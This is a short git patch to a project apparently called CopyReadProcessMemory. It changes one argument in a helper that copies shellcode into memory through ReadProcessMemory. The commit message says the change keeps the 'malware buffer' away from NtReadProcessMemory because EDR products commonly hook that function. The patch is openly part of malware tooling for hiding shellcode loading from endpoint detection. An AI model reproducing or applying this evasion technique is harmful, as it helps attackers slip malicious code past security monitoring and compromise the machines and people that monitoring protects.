From e7feaad87af144fb27ef524cac015164a58466df Mon Sep 17 00:00:00 2001 From: chmod760 Date: Thu, 27 Nov 2025 14:23:58 +0100 Subject: [PATCH] Use pDummyBuffer instead of pNewBuffer Use pDummyBuffer instead of pNewBuffer to avoid send malware buffer to NtReadProcessMemory because usually this function is hooked by EDRs --- CopyReadProcessMemory/Helper.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CopyReadProcessMemory/Helper.cpp b/CopyReadProcessMemory/Helper.cpp index ee9a6fb..42e82b4 100644 --- a/CopyReadProcessMemory/Helper.cpp +++ b/CopyReadProcessMemory/Helper.cpp @@ -39,7 +39,7 @@ void* CopyReadProcessMemory(char* shellcode, SIZE_T size) { ReadProcessMemory( GetCurrentProcess(), - pNewBuffer, + pDummyBuffer, pDummyBuffer, *((BYTE*)shellcode + I), (SIZE_T*)pDestOffset